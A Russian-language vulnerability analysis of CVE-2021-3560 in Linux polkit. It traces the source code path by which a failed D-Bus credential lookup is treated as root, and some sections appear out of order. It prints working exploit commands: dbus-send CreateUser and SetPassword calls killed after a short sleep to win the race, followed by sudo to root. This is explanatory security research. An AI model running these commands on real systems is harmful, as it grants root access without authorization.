
Углублённый анализ CVE-2021-3560 — локальной уязвимости повышения привилегий в Linux PolKit. Включает анализ первопричины, механику эксплойта и демонстрацию состояния гонки, приводящего к получению root-доступа.
[toc]
Идентификатор уязвимости: CVE-2021-3560
Оценка уязвимости:
Уязвимый продукт: linux PolKit (polkitd)
Затронутые версии: внедрена в исходном коде 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html
Условия эксплуатации: локальный доступ к linux; наличие dbus + polkitd
Результат эксплуатации: локальное повышение привилегий
Получение исходного кода:
apt source accountsserviceapt source dbusСтандартного образа ubuntu-20.04.2 достаточно для воспроизведения: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso
Сначала посмотрим на проблемный код
/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync
static void
on_retrieved_unix_uid_pid (GObject *src,
GAsyncResult *res,
gpointer user_data)
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error);
if (!v)
{
data->caught_error = TRUE; //某些原因失败之后设置error位
}
else
{
··· ···//执行成功的数据处理
}
··· ···
}
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
··· ···
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
}
В функции polkit_system_bus_name_get_creds_sync выполняется аутентификация некоторых запросов (конкретный логический сценарий будет подробно описан ниже). Сначала через шину org.freedesktop.DBus вызываются методы GetConnectionUnixUser и GetConnectionUnixProcessID; эти методы предоставляются шиной org.freedesktop.DBus и служат для получения PID и UID пользователя запрашивающего процесса, после чего данные передаются в callback-функцию on_retrieved_unix_uid_pid для обработки. Затем выполняется блокирующее ожидание завершения выполнения процесса на стороне шины.
В функции on_retrieved_unix_uid_pid видно, что в зависимости от результата выполнения на стороне шины устанавливается признак ошибки (error?), после чего устанавливается бит ошибки; при успешном выполнении возвращаются UID пользователя или PID процесса. Однако в функции polkit_system_bus_name_get_creds_sync после блокирующего ожидания результата от шины (условием завершения обработки является обработка и UID, и PID, либо возникновение ошибки). То есть, с логической точки зрения, со стороны шины возможны три результата: получен UID пользователя 0 — привилегированный пользователь; получен UID пользователя, отличный от 0, — обычный пользователь; ошибка. Но в дальнейшей обработке ошибка не обрабатывается: out_uid, возвращаемый на верхний уровень, напрямую устанавливается в data.uid, полученный от шины, а затем ret просто устанавливается в TRUE:
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
Однако был упущен случай, когда на стороне шины DBUS возникает ошибка выполнения: callback-функция устанавливает бит ошибки и возвращается, так и не обработав данные data, а data инициализируется нулём. В результате далее out_uid устанавливается в 0, то есть в привилегированного пользователя.
Где же используется эта проблемная функция polkit_system_bus_name_get_creds_sync?
Процессом, в котором находится уязвимость, является polkitd:
polkit — это набор инструментов прикладного уровня, который, определяя и проверяя правила прав доступа, обеспечивает взаимодействие между процессами с разными приоритетами: управление решениями централизовано в единой среде и определяет, имеет ли процесс с низким приоритетом право доступа к процессу с высоким приоритетом.
Проще говоря, это фоновый процесс root, который посредством межпроцессного взаимодействия выполняет проверку прав, когда другие процессы с низкими привилегиями обращаются к функциям, предоставляемым процессами с высокими привилегиями. Поскольку при подключении gdb этот процесс перезапускается, анализ можно проводить только на уровне исходного кода, чтобы найти путь срабатывания уязвимой функции:
В polkitd для разработки широко используется фреймворк межпроцессного взаимодействия gio DBUS; можно заранее ознакомиться с руководством, обратив внимание на некоторые ключевые функции.
Далее проанализируем путь срабатывания уязвимости в polkitd:
Сначала main:
polkit-0.113\src\polkitbackend\polkitd.c : 155 : main
int
main (int argc,
char **argv)
{
··· ···
··· ···
loop = g_main_loop_new (NULL, FALSE);
sigint_id = g_unix_signal_add (SIGINT,
on_sigint,
NULL);
name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
"org.freedesktop.PolicyKit1", //注册了一个总线名称
G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
(opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
on_bus_acquired, //访问该总线时的回调函数
on_name_acquired,
on_name_lost,
NULL,
NULL);
g_print ("Entering main event loop\n");
g_main_loop_run (loop); //循环启动
··· ···
··· ···
}
Сначала регистрируется шина org.freedesktop.PolicyKit1, затем есть три callback-функции; основное внимание стоит уделить on_bus_acquired, которая вызывается при обращении к шине.
В функции on_bus_acquired напрямую вызывается функция регистрации polkit_backend_authority_register
Иными словами, когда другие функции вызывают метод CheckAuthorization на шине org.freedesktop.PolicyKit1.Authority, при определённом сценарии (контроль над возвратом ошибки при получении UID запрашивающего процесса через DBUS) корректность аутентификации этого метода нарушается. Поскольку ответ уже можно увидеть напрямую, метод эксплуатации уязвимости — при использовании account-daemon
Сначала приведём схему автора эксплойта:
Поясним, что изображено на схеме:
Процессы polkitd, dbus-daemon и account-daemon — все три являются фоновыми сервисными процессами, работающими с правами root.
dbus-daemon — это «маршрутизатор» межпроцессного взаимодействия, то есть ядро упомянутого выше фреймворка GIO DBUS. По моему пониманию, разные процессы могут регистрировать здесь имена шин; процесс, желающий связаться с вами, обращается к имени шины, а также к интерфейсу и имени метода, чтобы вызвать функции в вашем процессе. Некоторые функции процесса polkitd, описанные выше, как раз регистрируют шину в dbus и ожидают вызова другими процессами.
account-daemon аналогичен polkitd: он регистрирует в dbus шину org.freedesktop.Accounts и предоставляет ряд методов, связанных с учётными записями, например, используемые далее добавление пользователя, установка пароля и т.д. Кроме того, перед такими операциями, как добавление пользователя, этот процесс выполняет аутентификацию пользователя, используя именно упомянутый выше уязвимый метод шины CheckAuthorization, предоставляемый процессом polkitd.
Таким образом, общий поток событий при эксплуатации уязвимости выглядит так:
dbus-send процессу account-daemon отправляется сообщение с запросом на создание пользователя-администратора (метод CreateUser, предоставляемый этим процессом, по умолчанию добавляет пользователя-администратора), однако с нашими правами выполнить эту операцию невозможно.account-daemon последний запрашивает у процесса polkitd проверку прав — разрешена ли данная операция добавления пользователя.polkitd запрашивает у шины права пользователя и идентификатор процесса, инициировавшего запрос на создание пользователя.
dbus-send) в промежутке времени между отправкой сообщения, получением его процессом account-daemon и запросом polkitd прав запрашивающего процесса.polkitd при ошибке по умолчанию считает её успехом, а затем по умолчанию принимает uid пользователя за 0, то есть за привилегированного пользователя. Это запускает уязвимость и разрешает данную операцию.Поскольку dbus-daemon — это процесс-посредник, подробно анализировать его не будем, но здесь разберём процесс account-daemon, который является ключевым в ходе эксплуатации. Этот процесс также использует фреймворк GIO DBUS; кратко проанализируем некоторые важные моменты. Сначала посмотрим на
accountsservice-0.6.45\src\daemon.c : 90
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
iface->handle_create_user = daemon_create_user;
iface->handle_delete_user = daemon_delete_user;
··· ···
}
Здесь используются макросы G_DEFINE_TYPE_WITH_CODE и G_IMPLEMENT_INTERFACE для выполнения функции daemon_accounts_accounts_iface_init; смысл этих двух макросов, в общем, в том, что они найдут возможность выполнить функцию daemon_accounts_accounts_iface_init. В функции daemon_accounts_accounts_iface_init регистрируется метод create_user; посмотрим непосредственно на реализацию функции daemon_create_user:
accountsservice-0.6.45\src\daemon.c : 1099
static gboolean
daemon_create_user (AccountsAccounts *accounts,
GDBusMethodInvocation *context,
const gchar *user_name,
const gchar *real_name,
gint account_type)
{
··· ···
data = g_new0 (CreateUserData, 1);
data->user_name = g_strdup (user_name);
data->real_name = g_strdup (real_name);
data->account_type = account_type;
daemon_local_check_auth (daemon,
NULL,
"org.freedesktop.accounts.user-administration",
TRUE,
daemon_create_user_authorized_cb, //回调函数
context,
data,
(GDestroyNotify)create_data_free);
return TRUE;
}
В daemon_create_user вызывается функция daemon_local_check_auth для проверки того, разрешены ли права запрашивающего пользователя; после успешного вызова будет вызвана callback-функция daemon_create_user_authorized_cb. Сначала рассмотрим функцию аутентификации daemon_local_check_auth:
accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth
void
daemon_local_check_auth (Daemon *daemon,
User *user,
const gchar *action_id,
gboolean allow_interaction,
AuthorizedCallback authorized_cb,
GDBusMethodInvocation *context,
gpointer authorized_cb_data,
GDestroyNotify destroy_notify)
{
··· ···
polkit_authority_check_authorization (daemon->priv->authority,
subject,
action_id,
NULL,
flags,
NULL,
(GAsyncReadyCallback) check_auth_cb,
data);
··· ···
}
Здесь для аутентификации вызывается функция polkit_authority_check_authorization, которая является библиотечной функцией, предоставляемой libpolkit-gobject-1.so.0; она напрямую вызывает метод CheckAuthorization на шине org.freedesktop.PolicyKit1.Authority в процессе polkitd, как было проанализировано выше. При успешной аутентификации вызывается callback-функция daemon_create_user_authorized_cb:
accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb
static void
daemon_create_user_authorized_cb (Daemon *daemon,
User *dummy,
GDBusMethodInvocation *context,
gpointer data)
{
··· ···
argv[0] = "/usr/sbin/adduser";
argv[1] = "--quiet";
argv[2] = "--disabled-login";
argv[3] = "--gecos";
argv[4] = cd->real_name;
argv[5] = cd->user_name;
argv[6] = NULL;
error = NULL;
if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
g_error_free (error);
return;
}
if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
}
··· ···
}
Здесь уже всё очевидно: после успешного добавления пользователь напрямую добавляется в группу sudo, поэтому в конце эксплойта после добавления пользователя можно переключиться на root через sudo su root.
Далее рассмотрим демонстрацию ручной эксплуатации уязвимости.
От имени обычного пользователя напрямую отправляем процессу account-daemon запрос на создание пользователя с помощью команды dbus-send:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
В операционных системах с графическим интерфейсом этот запрос вызовет появление окна ввода пароля:
В терминалах командной строки, например по ssh, запрос сразу завершится ошибкой:

Согласно описанной выше идее эксплуатации, сначала посмотрим на время выполнения этой команды:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Затем выбираем момент примерно на середине выполнения этой команды и убиваем её — с некоторой вероятностью уязвимость сработает и пользователь будет создан:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
Повторное выполнение приводит к успеху:

Кроме того, пользователь находится в группе sudo:

Затем тем же способом добавляем ему пароль:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
User1002 необходимо заменить в соответствии с UID только что созданного пользователя; пароль используется в виде хеш-значения. Затем переключаемся на пользователя.
Здесь эксплойт подробно не расписывается: по сути, нужно просто автоматизировать приведённые выше команды. C-эксплойт с github тоже работает нормально.
Обновите до последней версии
Раскрытие уязвимости (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560
m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502
В функции polkit_backend_authority_register регистрируется интерфейсный объект org.freedesktop.PolicyKit1.Authority и передаётся таблица callback-функций server_vtable. Точка срабатывания уязвимости находится в одной из функций этой таблицы:
policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable
static const GDBusInterfaceVTable server_vtable =
{
server_handle_method_call, //回调函数
server_handle_get_property,
NULL, /* server_handle_set_property */
};
static void
server_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data)
{
Server *server = user_data;
PolkitSubject *caller;
caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
if (g_strcmp0 (method_name, "EnumerateActions") == 0)
server_handle_enumerate_actions (server, parameters, caller, invocation);
else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
··· ···
··· ···
}
Когда другие процессы через шину вызывают метод CheckAuthorization, вызывается функция server_handle_check_authorization.
В функции server_handle_check_authorization вызывается polkit_backend_authority_check_authorization
В функции polkit_backend_authority_check_authorization через callback вызывается klass->check_authorization, зарегистрированной функцией для которого является polkit_backend_interactive_authority_check_authorization:
polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization
void
polkit_backend_authority_check_authorization (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
··· ···
if (klass->check_authorization == NULL)
{
··· ···
}
else
{
klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
}
}
authority_class->check_authorization = /
polkit_backend_interactive_authority_check_authorization; //在别处初始化的
Далее нужно просто искать по порядку: check_authorization_sync
polkit_backend_session_monitor_get_user_for_subject
Уязвимая функция: polkit_system_bus_name_get_user_sync
dbus-send — это команда: шина dbus предоставляет ряд программных интерфейсов для вызова при межпроцессном взаимодействии, а также команды командной строки, с помощью которых можно напрямую отправлять сообщения определённому процессу и вызывать его методы.
dbus-send убит, из-за чего проверка шины возвращает ошибку, на account-daemon это не влияет: после получения сообщения он больше не обращает внимания на существование запрашивающего процесса.polkitd ответ о разрешении добавления, account-daemon создаёт пользователя — эксплуатация завершена.